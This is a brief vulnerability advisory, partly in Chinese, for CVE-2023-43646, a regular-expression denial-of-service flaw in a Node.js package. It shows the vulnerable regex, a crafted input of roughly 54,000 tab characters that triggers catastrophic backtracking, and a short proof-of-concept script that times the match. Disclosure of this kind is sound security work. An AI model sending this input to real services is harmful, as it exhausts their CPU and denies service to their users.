CVE-2023-43646
CVSS : 8.6
Sep 26, 2023
ReDoS in node.js package
作为 rebob 项目的一部分
/\sfunction(?:\s|\s/[^(?:*\/)]+/\s*)*([^\(\/]+)/
当括号不平衡时,该漏洞可被利用,导致过度回溯,从而显著增加CPU负载和处理时间。可以使用以下输入触发此漏洞:
'\t'.repeat(54773) + '\t/function/i'
以下是一个简单的PoC代码来演示该问题:
const protocolre = /\sfunction(?:\s|\s/[^(?:*\/)]+/\s*)*([^\(\/]+)/;
const startTime = Date.now();
const maliciousInput = '\t'.repeat(54773) + '\t/function/i'
protocolre.test(maliciousInput);
const endTime = Date.now();
console.log("process time: ", endTime - startTime, "ms");